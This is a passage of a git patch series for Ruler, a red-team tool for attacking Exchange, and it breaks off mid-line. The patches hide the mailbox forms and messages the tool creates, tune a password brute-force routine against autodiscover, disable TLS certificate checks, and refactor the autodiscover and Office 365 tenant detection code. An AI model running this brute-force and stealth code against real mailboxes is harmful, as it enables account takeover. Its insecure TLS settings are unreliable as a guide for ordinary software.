0; k-- { + array = append(array, chunk[k]) + } + } + chunk, e := hex.DecodeString(sp[4]) + if e != nil { + return nil, e + } + array = append(array, chunk...) + return array, nil +} From 0f0d3d216f1937db30faa5e8e9f339493fee82bb Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 26 Jul 2017 12:46:59 +0100 Subject: [PATCH 04/35] Add hidden attribute to messages which are being created. Thus they won't show up in the inbox before being sent. This is useful for slow hosts --- forms/rulerforms.go | 3 ++- mapi/mapi.go | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/forms/rulerforms.go b/forms/rulerforms.go index b2c7c8c..f14a8fc 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -92,7 +92,7 @@ func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, template //CreateFormMessage creates the associate message that holds the form data func CreateFormMessage(suffix, assocRule string) ([]byte, error) { folderid := mapi.AuthSession.Folderids[mapi.INBOX] - propertyTagx := make([]mapi.TaggedPropertyValue, 9) + propertyTagx := make([]mapi.TaggedPropertyValue, 10) var err error propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")} @@ -104,6 +104,7 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) { propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :) propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)} propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form + propertyTagx[9] = mapi.TaggedPropertyValue{mapi.PidTagHidden, []byte{0x01}} //create the message in the "associated" contents table for the inbox msg, err := mapi.CreateAssocMessage(folderid, propertyTagx) diff --git a/mapi/mapi.go b/mapi/mapi.go index 31c6aa7..9e208a0 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -618,7 +618,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} setProperties.InputHandle = 0x01 - setProperties.PropertValueCount = 8 + setProperties.PropertValueCount = 9 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) propertyTags[0] = TaggedPropertyValue{PidTagBody, utils.UniString(fmt.Sprintf("%s\n\r", body))} @@ -630,6 +630,7 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { propertyTags[5] = TaggedPropertyValue{PidTagNativeBody, []byte{0x00, 0x00, 0x00, 0x01}} propertyTags[6] = TaggedPropertyValue{PidTagSubject, utils.UniString(triggerWord)} propertyTags[7] = TaggedPropertyValue{PidTagNormalizedSubject, utils.UniString(triggerWord)} + propertyTags[8] = TaggedPropertyValue{PidTagHidden, []byte{0x01}} //hide message during "composition" setProperties.PropertyValues = propertyTags propertySize := 0 From 946a21ee9ee8d5304326e3ceee269f6310bddb21 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 09:26:45 +0200 Subject: [PATCH 05/35] This adds some new constants and fixes concurrency issues with bruteforce. * Add new constants to constants.go - these are for additional message properties * Add a short delay between concurrent requests. should prevent the mutex issues of too many simultanous connections --- autodiscover/brute.go | 18 ++++++++++++------ http-ntlm/ntlmtransport.go | 1 + mapi/constants.go | 2 ++ 3 files changed, 15 insertions(+), 6 deletions(-) diff --git a/autodiscover/brute.go b/autodiscover/brute.go index f7ab386..3c2821a 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -8,6 +8,7 @@ import ( "regexp" "strings" "time" + "crypto/tls" "github.com/sensepost/ruler/http-ntlm" "github.com/sensepost/ruler/utils" @@ -22,7 +23,7 @@ type Result struct { Error error } -var concurrency = 5 //limit the number of consecutive attempts +var concurrency = 3 //limit the number of consecutive attempts func autodiscoverDomain(domain string) string { var autodiscoverURL string @@ -56,8 +57,10 @@ func autodiscoverDomain(domain string) string { req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") - - client := http.Client{} + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := http.Client{Transport:tr} resp, err := client.Do(req) if err != nil { @@ -108,7 +111,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu if u == "" || p == "" { continue } - + time.Sleep(time.Millisecond * 500) //lets not flood it sem <- true go func(u string, p string, i int) { @@ -183,7 +186,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces if u == "" { continue } - + time.Sleep(time.Millisecond * 500) //lets not flood it sem <- true go func(u string, p string) { @@ -231,7 +234,10 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul result := Result{user, password, -1, -1, nil} cookie, _ := cookiejar.New(nil) - client := http.Client{} + tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + DisableKeepAlives:true, //should fix mutex issues + } + client := http.Client{Transport:tr} if basic == false { //check if this is a first request or a redirect //create an ntml http client diff --git a/http-ntlm/ntlmtransport.go b/http-ntlm/ntlmtransport.go index 351a5d3..25a1f99 100644 --- a/http-ntlm/ntlmtransport.go +++ b/http-ntlm/ntlmtransport.go @@ -128,6 +128,7 @@ func (t NtlmTransport) RoundTrip(req *http.Request) (res *http.Response, err err req.Header.Set("Authorization", "NTLM "+utils.EncBase64(authenticate.Bytes())) resp, err = client.Do(req) + defer resp.Body.Close() } return resp, err } diff --git a/mapi/constants.go b/mapi/constants.go index a8f3b8b..687b673 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -610,3 +610,5 @@ var PidTagComment = PropertyTag{PtypString, 0x3004} var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19} var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF} +var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083} +var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014} From dab72230a25d3a77303287fdb6a6452425d2247c Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 10:11:52 +0200 Subject: [PATCH 06/35] This applies the changes that have been made in the public version of Ruler when PR #45 was accepted. These are all the changes introduced in commit da8f754cb859632c276f9c688603a01fe5e6d421 (Add a standalone autodiscover command & refactor some code ) --- autodiscover/autodiscover.go | 12 ++- ruler.go | 165 ++++++++++++++++++++++++----------- utils/datatypes.go | 1 + 3 files changed, 126 insertions(+), 52 deletions(-) diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index b59f6bb..77a9deb 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -284,7 +284,9 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) if autodiscoverURL == "" { return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") - } + } else { + SessionConfig.DiscoURL, _ = url.Parse(autodiscoverURL) + } } } @@ -377,7 +379,13 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er return autodiscover(domain, mapi) } if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { - return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode) + if resp.StatusCode == 404 { //this means the domain isn't hosted with o365 + return nil, "", fmt.Errorf("Failed to authenticate and domain isn't hosted with Office365: StatusCode [%d]\n", resp.StatusCode) + } else if resp.StatusCode == 401 { //this means the domain is hosted with 0365 + return nil, "", fmt.Errorf("Failed to authenticate but the domain is hosted with Office365: StatusCode [%d]\n", resp.StatusCode) + } else { + return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode) + } } if autodiscoverStep < 2 { autodiscoverStep++ diff --git a/ruler.go b/ruler.go index ff77c4c..1a1b996 100644 --- a/ruler.go +++ b/ruler.go @@ -11,6 +11,7 @@ import ( "os" "strings" "time" + "regexp" "github.com/howeyc/gopass" "github.com/sensepost/ruler/autodiscover" @@ -37,6 +38,33 @@ func exit(err error) { os.Exit(exitcode) } +//function to perform an autodiscover +func discover(c *cli.Context) error { + var err error + + if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalString("o365") == "" { + return fmt.Errorf("Either --domain or --url or --o365 are required") + } + + if prepConfig(c.GlobalBool("admin"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.GlobalBool("noencrypt"), c.GlobalBool("o365"), c.GlobalBool("rpc"), c.GlobalBool("verbose"), c.GlobalString("config"), c.GlobalString("cookie"), c.GlobalString("domain"), "NoSuchUser@"+c.GlobalString("domain"), c.GlobalString("hash"), "Password1", c.GlobalString("proxy"), c.GlobalString("url"), "NoSuchUser") == nil { + err = doAutodiscover(c.GlobalBool("nocache"), c.GlobalString("config"), c.GlobalBool("rpc")) + } + + if config.DiscoURL.String() == "" { + utils.Error.Printf("%s\nTry with the --o365 flag.\n",err) + } else if c.GlobalString("o365") != "" { + if m, _ := regexp.MatchString(".*401.*", err.Error()); m == true { + utils.Info.Printf("The autodiscover URL is: %s", config.DiscoURL.String()) + utils.Info.Printf("The domain is hosted with Office 365.") + } else if m, _ := regexp.MatchString(".*404.*", err.Error()); m == true { + utils.Error.Println("The domain is not hosted with Office 365") + } + } else { + utils.Info.Printf("The autodiscover URL is: %s", config.DiscoURL.String()) + } + return nil +} + //function to perform a bruteforce func brute(c *cli.Context) error { if c.String("users") == "" && c.String("userpass") == "" { @@ -176,11 +204,23 @@ func sendMessage(subject, body string) error { return nil } -//Function to connect to the Exchange server func connect(c *cli.Context) error { + if prepConfig(c.GlobalBool("admin"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.GlobalBool("noencrypt"), c.GlobalBool("o365"), c.GlobalBool("rpc"), c.GlobalBool("verbose"), c.GlobalString("config"), c.GlobalString("cookie"), c.GlobalString("domain"), c.GlobalString("email"), c.GlobalString("hash"), c.GlobalString("password"), c.GlobalString("proxy"), c.GlobalString("url"), c.GlobalString("username")) == nil { + if doAutodiscover(c.GlobalBool("nocache"), c.GlobalString("config"), c.GlobalBool("rpc")) == nil { + return doLogin() + } else { + return nil + } + } else { + return nil + } +} + +//Function to connect to the Exchange server +func prepConfig(xadmin bool, xbasic bool, xinsecure bool, xnoencrypt bool, xo365 bool, xrpc bool, xverbose bool, xconfig string, xcookie string, xdomain string, xemail string, xhash string, xpassword string, xproxy string, xurl string, xusername string) error { var err error //if no password or hash was supplied, read from stdin - if c.GlobalString("password") == "" && c.GlobalString("hash") == "" && c.GlobalString("config") == "" { + if xpassword == "" && xhash == "" && xconfig == "" { fmt.Printf("Password: ") var pass []byte pass, err = gopass.GetPasswd() @@ -190,31 +230,31 @@ func connect(c *cli.Context) error { } config.Pass = string(pass) } else { - config.Pass = c.GlobalString("password") - if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { + config.Pass = xpassword + if config.NTHash, err = hex.DecodeString(xhash); err != nil { return fmt.Errorf("Invalid hash provided. Hex decode failed") } } //setup our autodiscover service - config.Domain = c.GlobalString("domain") - config.User = c.GlobalString("username") - config.Email = c.GlobalString("email") - config.Basic = c.GlobalBool("basic") - config.Insecure = c.GlobalBool("insecure") - config.Verbose = c.GlobalBool("verbose") - config.Admin = c.GlobalBool("admin") - config.RPCEncrypt = !c.GlobalBool("noencrypt") + config.Domain = xdomain + config.User = xusername + config.Email = xemail + config.Basic = xbasic + config.Insecure = xinsecure + config.Verbose = xverbose + config.Admin = xadmin + config.RPCEncrypt = !xnoencrypt config.CookieJar, _ = cookiejar.New(nil) - config.Proxy = c.GlobalString("proxy") + config.Proxy = xproxy //add supplied cookie to the cookie jar - if c.GlobalString("cookie") != "" { + if xcookie != "" { //split into cookies and then into name : value - cookies := strings.Split(c.GlobalString("cookie"), ";") + cookies := strings.Split(xcookie, ";") var cookieJarTmp []*http.Cookie var cdomain string //split and get the domain from the email - if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 { + if eparts := strings.Split(xemail, "@"); len(eparts) == 2 { cdomain = eparts[1] } else { return fmt.Errorf("[x] Invalid email address") @@ -237,13 +277,13 @@ func connect(c *cli.Context) error { config.CookieJar, _ = cookiejar.New(nil) //add supplied cookie to the cookie jar - if c.GlobalString("cookie") != "" { + if xcookie != "" { //split into cookies and then into name : value - cookies := strings.Split(c.GlobalString("cookie"), ";") + cookies := strings.Split(xcookie, ";") var cookieJarTmp []*http.Cookie var cdomain string //split and get the domain from the email - if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 { + if eparts := strings.Split(xemail, "@"); len(eparts) == 2 { cdomain = eparts[1] } else { return fmt.Errorf("Invalid email address") @@ -263,25 +303,27 @@ func connect(c *cli.Context) error { config.CookieJar.SetCookies(u, cookieJarTmp) } - url := c.GlobalString("url") - - if c.GlobalBool("o365") == true { - url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" + if xo365 == true { + config.DiscoURL, _ = url.Parse("https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml") + } else { + config.DiscoURL, _ = url.Parse(xurl) } autodiscover.SessionConfig = &config + return nil +} +func doAutodiscover(xnocache bool, xconfig string, xrpc bool) error { + var err error var resp *utils.AutodiscoverResp var rawAutodiscover string - var mapiURL, abkURL, userDN string - //try connect to MAPI/HTTP first -- this is faster and the code-base is more stable //unless of course the global "RPC" flag has been set, which specifies we should just use //RPC/HTTP from the get-go - if c.GlobalString("config") != "" { + if xconfig != "" { var yamlConfig utils.YamlConfig - if yamlConfig, err = utils.ReadYml(c.GlobalString("config")); err != nil { + if yamlConfig, err = utils.ReadYml(xconfig); err != nil { utils.Error.Println("Invalid Config file.") return err } @@ -323,31 +365,31 @@ func connect(c *cli.Context) error { config.RPCEncrypt = yamlConfig.RPCEncrypt config.RPCNtlm = yamlConfig.Ntlm } else { - mapiURL = fmt.Sprintf("%s?MailboxId=%s", yamlConfig.MapiURL, yamlConfig.Mailbox) + config.URL, _ = url.Parse(fmt.Sprintf("%s?MailboxId=%s", yamlConfig.MapiURL, yamlConfig.Mailbox)) } - userDN = yamlConfig.UserDN + config.LID = yamlConfig.UserDN - } else if !c.GlobalBool("rpc") { + } else if !xrpc { if config.User == "" && config.Email == "" { return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config") } - if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover + if xnocache == false { //unless user specified nocache, check cache for existing autodiscover resp = autodiscover.CheckCache(config.Email) } if resp == nil { - resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, url, resp) + resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, config.DiscoURL.String(), resp) if err != nil { - exit(err) + return err } } - mapiURL = mapi.ExtractMapiURL(resp) - abkURL = mapi.ExtractMapiAddressBookURL(resp) - userDN = resp.Response.User.LegacyDN + config.URL, _ = url.Parse(mapi.ExtractMapiURL(resp)) + config.ABKURL, _ = url.Parse(mapi.ExtractMapiAddressBookURL(resp)) + config.LID = resp.Response.User.LegacyDN - if mapiURL == "" { //try RPC - resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp) + if config.URL.String() == "" { //try RPC + resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, config.DiscoURL.String(), resp) if err != nil { exit(err) } @@ -355,16 +397,16 @@ func connect(c *cli.Context) error { return fmt.Errorf("Both MAPI/HTTP and RPC/HTTP failed. Are the credentials valid? \n%s", resp.Response.Error) } - if c.GlobalBool("nocache") == false { + if xnocache == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } else { - utils.Trace.Println("MAPI URL found: ", mapiURL) - utils.Trace.Println("MAPI AddressBook URL found: ", abkURL) + utils.Trace.Println("MAPI URL found: ", config.URL.String()) + utils.Trace.Println("MAPI AddressBook URL found: ", config.ABKURL.String()) - //mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP) - if c.GlobalBool("nocache") == false { + //mapi.Init(&config, config.LID, config.URL.String(), config.ABKURL.String(), mapi.HTTP) + if xnocache == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } @@ -376,26 +418,30 @@ func connect(c *cli.Context) error { } utils.Trace.Println("RPC/HTTP forced, trying RPC/HTTP") - if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover + if xnocache == false { //unless user specified nocache, check cache for existing autodiscover resp = autodiscover.CheckCache(config.Email) } - resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, url, resp) + resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCNtlm, err = autodiscover.GetRPCHTTP(config.Email, config.DiscoURL.String(), resp) if err != nil { exit(err) } - userDN = resp.Response.User.LegacyDN + config.LID = resp.Response.User.LegacyDN - if c.GlobalBool("nocache") == false { + if xnocache == false { autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use } } + return nil +} +func doLogin() error { + var err error if config.RPCURL != "" { - mapi.Init(&config, userDN, "", "", mapi.RPC) + mapi.Init(&config, config.LID, "", "", mapi.RPC) } else { - mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP) + mapi.Init(&config, config.LID, config.URL.String(), config.ABKURL.String(), mapi.HTTP) } //now we should do the login @@ -411,7 +457,7 @@ func connect(c *cli.Context) error { propertyTags := make([]mapi.PropertyTag, 2) propertyTags[0] = mapi.PidTagDisplayName propertyTags[1] = mapi.PidTagSubfolders - mapi.GetFolderProps(mapi.INBOX, propertyTags) //Open Inbox + mapi.GetFolder(mapi.INBOX, propertyTags) //Open Inbox } return nil } @@ -996,6 +1042,25 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` return nil }, }, + { + Name: "autodiscover", + Aliases: []string{"u"}, + Usage: "Just run the autodiscover service to find the authentication point", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "verbose,v", + Usage: "Display each attempt", + }, + }, + Action: func(c *cli.Context) error { + err := discover(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + return nil + }, + }, { Name: "brute", Aliases: []string{"b"}, diff --git a/utils/datatypes.go b/utils/datatypes.go index 3134c27..547c83e 100644 --- a/utils/datatypes.go +++ b/utils/datatypes.go @@ -31,6 +31,7 @@ type Session struct { Insecure bool Verbose bool Admin bool + DiscoURL *url.URL LID string URL *url.URL ABKURL *url.URL //URL for the AddressBook Provider From e2555b96f4d4b4c51ef5d8a0bbd914616e003231 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 10 Aug 2017 12:38:35 +0200 Subject: [PATCH 07/35] Refactor of the "autodiscover" command. Took out needless overhead and call autodiscover directly. * this reverts 98% of changes made in 23a38e3 * remove prepConfig function * remove unnecessary call to doAutodiscover * add smarter check to see if the domain is a tenant of Office 365 - this is done using the openid-configuration service at https://login.microsoftonline.com//.well-known/openid-configuration --- autodiscover/autodiscover.go | 20 ++-- ruler.go | 183 ++++++++++++++++++----------------- 2 files changed, 99 insertions(+), 104 deletions(-) diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index 77a9deb..000905b 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -284,9 +284,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) if autodiscoverURL == "" { return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") - } else { - SessionConfig.DiscoURL, _ = url.Parse(autodiscoverURL) - } + } } } @@ -332,6 +330,10 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er defer resp.Body.Close() + if resp.StatusCode == 401 || resp.StatusCode == 403 { + return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") + } + body, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, "", err @@ -352,9 +354,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er return nil, "", fmt.Errorf("Error in autodiscover response, %s", err) } SessionConfig.NTLMAuth = req.Header.Get("Authorization") - if SessionConfig.Verbose == true { - //fmt.Println(string(body)) - } + //check if we got a RedirectAddr , //if yes, get the new autodiscover url if autodiscoverResp.Response.Account.Action == "redirectAddr" { @@ -379,13 +379,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er return autodiscover(domain, mapi) } if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { - if resp.StatusCode == 404 { //this means the domain isn't hosted with o365 - return nil, "", fmt.Errorf("Failed to authenticate and domain isn't hosted with Office365: StatusCode [%d]\n", resp.StatusCode) - } else if resp.StatusCode == 401 { //this means the domain is hosted with 0365 - return nil, "", fmt.Errorf("Failed to authenticate but the domain is hosted with Office365: StatusCode [%d]\n", resp.StatusCode) - } else { - return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode) - } + return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode) } if autodiscoverStep < 2 { autodiscoverStep++ diff --git a/ruler.go b/ruler.go index 1a1b996..68c87f1 100644 --- a/ruler.go +++ b/ruler.go @@ -11,7 +11,6 @@ import ( "os" "strings" "time" - "regexp" "github.com/howeyc/gopass" "github.com/sensepost/ruler/autodiscover" @@ -40,29 +39,49 @@ func exit(err error) { //function to perform an autodiscover func discover(c *cli.Context) error { - var err error - - if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalString("o365") == "" { - return fmt.Errorf("Either --domain or --url or --o365 are required") - } - - if prepConfig(c.GlobalBool("admin"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.GlobalBool("noencrypt"), c.GlobalBool("o365"), c.GlobalBool("rpc"), c.GlobalBool("verbose"), c.GlobalString("config"), c.GlobalString("cookie"), c.GlobalString("domain"), "NoSuchUser@"+c.GlobalString("domain"), c.GlobalString("hash"), "Password1", c.GlobalString("proxy"), c.GlobalString("url"), "NoSuchUser") == nil { - err = doAutodiscover(c.GlobalBool("nocache"), c.GlobalString("config"), c.GlobalBool("rpc")) - } - - if config.DiscoURL.String() == "" { - utils.Error.Printf("%s\nTry with the --o365 flag.\n",err) - } else if c.GlobalString("o365") != "" { - if m, _ := regexp.MatchString(".*401.*", err.Error()); m == true { - utils.Info.Printf("The autodiscover URL is: %s", config.DiscoURL.String()) - utils.Info.Printf("The domain is hosted with Office 365.") - } else if m, _ := regexp.MatchString(".*404.*", err.Error()); m == true { - utils.Error.Println("The domain is not hosted with Office 365") - } - } else { - utils.Info.Printf("The autodiscover URL is: %s", config.DiscoURL.String()) - } - return nil + + + if c.GlobalString("domain") == "" { + return fmt.Errorf("Required param --domain is missing") + } + + //setup our autodiscover service + config.Domain = c.GlobalString("domain") + config.User = "nosuchuser" + config.Email = "nosuchemail" + config.Basic = c.GlobalBool("basic") + config.Insecure = c.GlobalBool("insecure") + config.Verbose = c.GlobalBool("verbose") + config.Admin = c.GlobalBool("admin") + config.RPCEncrypt = !c.GlobalBool("noencrypt") + config.CookieJar, _ = cookiejar.New(nil) + config.Proxy = c.GlobalString("proxy") + + autodiscover.SessionConfig = &config + _, domain, err := autodiscover.Autodiscover(config.Domain) + + if domain == "" && err != nil { + return err + } + + utils.Info.Printf("Looks like the autodiscover service is at: %s \n",domain) + utils.Info.Println("Checking if domain is hosted on Office 365") + //smart check to see if domain is on office365 + //A request to https://login.microsoftonline.com//.well-known/openid-configuration + //response with 400 for none-hosted domains + //response with 200 for office365 domains + + + resp, _ := http.Get(fmt.Sprintf("https://login.microsoftonline.com/%s/.well-known/openid-configuration",config.Domain)) + if resp.StatusCode == 400 { + utils.Info.Println("Domain is not hosted on Office 365") + } else if resp.StatusCode == 200 { + utils.Info.Println("Domain is hosted on Office 365") + } else { + utils.Error.Println("Received an unexpected response") + utils.Debug.Println(resp.StatusCode) + } + return nil } //function to perform a bruteforce @@ -204,23 +223,11 @@ func sendMessage(subject, body string) error { return nil } -func connect(c *cli.Context) error { - if prepConfig(c.GlobalBool("admin"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.GlobalBool("noencrypt"), c.GlobalBool("o365"), c.GlobalBool("rpc"), c.GlobalBool("verbose"), c.GlobalString("config"), c.GlobalString("cookie"), c.GlobalString("domain"), c.GlobalString("email"), c.GlobalString("hash"), c.GlobalString("password"), c.GlobalString("proxy"), c.GlobalString("url"), c.GlobalString("username")) == nil { - if doAutodiscover(c.GlobalBool("nocache"), c.GlobalString("config"), c.GlobalBool("rpc")) == nil { - return doLogin() - } else { - return nil - } - } else { - return nil - } -} - //Function to connect to the Exchange server -func prepConfig(xadmin bool, xbasic bool, xinsecure bool, xnoencrypt bool, xo365 bool, xrpc bool, xverbose bool, xconfig string, xcookie string, xdomain string, xemail string, xhash string, xpassword string, xproxy string, xurl string, xusername string) error { +func connect(c *cli.Context) error { var err error //if no password or hash was supplied, read from stdin - if xpassword == "" && xhash == "" && xconfig == "" { + if c.GlobalString("password") == "" && c.GlobalString("hash") == "" && c.GlobalString("config") == "" { fmt.Printf("Password: ") var pass []byte pass, err = gopass.GetPasswd() @@ -230,31 +237,31 @@ func prepConfig(xadmin bool, xbasic bool, xinsecure bool, xnoencrypt bool, xo365 } config.Pass = string(pass) } else { - config.Pass = xpassword - if config.NTHash, err = hex.DecodeString(xhash); err != nil { + config.Pass = c.GlobalString("password") + if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { return fmt.Errorf("Invalid hash provided. Hex decode failed") } } //setup our autodiscover service - config.Domain = xdomain - config.User = xusername - config.Email = xemail - config.Basic = xbasic - config.Insecure = xinsecure - config.Verbose = xverbose - config.Admin = xadmin - config.RPCEncrypt = !xnoencrypt + config.Domain = c.GlobalString("domain") + config.User = c.GlobalString("username") + config.Email = c.GlobalString("email") + config.Basic = c.GlobalBool("basic") + config.Insecure = c.GlobalBool("insecure") + config.Verbose = c.GlobalBool("verbose") + config.Admin = c.GlobalBool("admin") + config.RPCEncrypt = !c.GlobalBool("noencrypt") config.CookieJar, _ = cookiejar.New(nil) - config.Proxy = xproxy + config.Proxy = c.GlobalString("proxy") //add supplied cookie to the cookie jar - if xcookie != "" { + if c.GlobalString("cookie") != "" { //split into cookies and then into name : value - cookies := strings.Split(xcookie, ";") + cookies := strings.Split(c.GlobalString("cookie"), ";") var cookieJarTmp []*http.Cookie var cdomain string //split and get the domain from the email - if eparts := strings.Split(xemail, "@"); len(eparts) == 2 { + if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 { cdomain = eparts[1] } else { return fmt.Errorf("[x] Invalid email address") @@ -277,13 +284,13 @@ func prepConfig(xadmin bool, xbasic bool, xinsecure bool, xnoencrypt bool, xo365 config.CookieJar, _ = cookiejar.New(nil) //add supplied cookie to the cookie jar - if xcookie != "" { + if c.GlobalString("cookie") != "" { //split into cookies and then into name : value - cookies := strings.Split(xcookie, ";") + cookies := strings.Split(c.GlobalString("cookie"), ";") var cookieJarTmp []*http.Cookie var cdomain string //split and get the domain from the email - if eparts := strings.Split(xemail, "@"); len(eparts) == 2 { + if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 { cdomain = eparts[1] } else { return fmt.Errorf("Invalid email address") @@ -303,27 +310,25 @@ func prepConfig(xadmin bool, xbasic bool, xinsecure bool, xnoencrypt bool, xo365 config.CookieJar.SetCookies(u, cookieJarTmp) } - if xo365 == true { - config.DiscoURL, _ = url.Parse("https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml") - } else { - config.DiscoURL, _ = url.Parse(xurl) + url := c.GlobalString("url") + + if c.GlobalBool("o365") == true { + url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" } autodiscover.SessionConfig = &config - return nil -} -func doAutodiscover(xnocache bool, xconfig string, xrpc bool) error { - var err error var resp *utils.AutodiscoverResp var rawAutodiscover string + var mapiURL, abkURL, userDN string + //try connect to MAPI/HTTP first -- this is faster and the code-base is more stable //unless of course the global "RPC" flag has been set, which specifies we should just use //RPC/HTTP from the get-go - if xconfig != "" { + if c.GlobalString("config") != "" { var yamlConfig utils.YamlConfig - if yamlConfig, err = utils.ReadYml(xconfig); err != nil { + if yamlConfig, err = utils.ReadYml(c.GlobalString("config")); err != nil { utils.Error.Println("Invalid Config file.") return err } @@ -365,31 +370,31 @@ func doAutodiscover(xnocache bool, xconfig string, xrpc bool) error { config.RPCEncrypt = yamlConfig.RPCEncrypt config.RPCNtlm = yamlConfig.Ntlm } else { - config.URL, _ = url.Parse(fmt.Sprintf("%s?MailboxId=%s", yamlConfig.MapiURL, yamlConfig.Mailbox)) + mapiURL = fmt.Sprintf("%s?MailboxId=%s", yamlConfig.MapiURL, yamlConfig.Mailbox) } - config.LID = yamlConfig.UserDN + userDN = yamlConfig.UserDN - } else if !xrpc { + } else if !c.GlobalBool("rpc") { if config.User == "" && config.Email == "" { return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config") } - if xnocache == false { //unless user specified nocache, check cache for existing autodiscover + if c.GlobalBool("nocache") == false { //unless user specified nocache, check cache for existing autodiscover resp = autodiscover.CheckCache(config.Email) } if resp == nil { - resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, config.DiscoURL.String(), 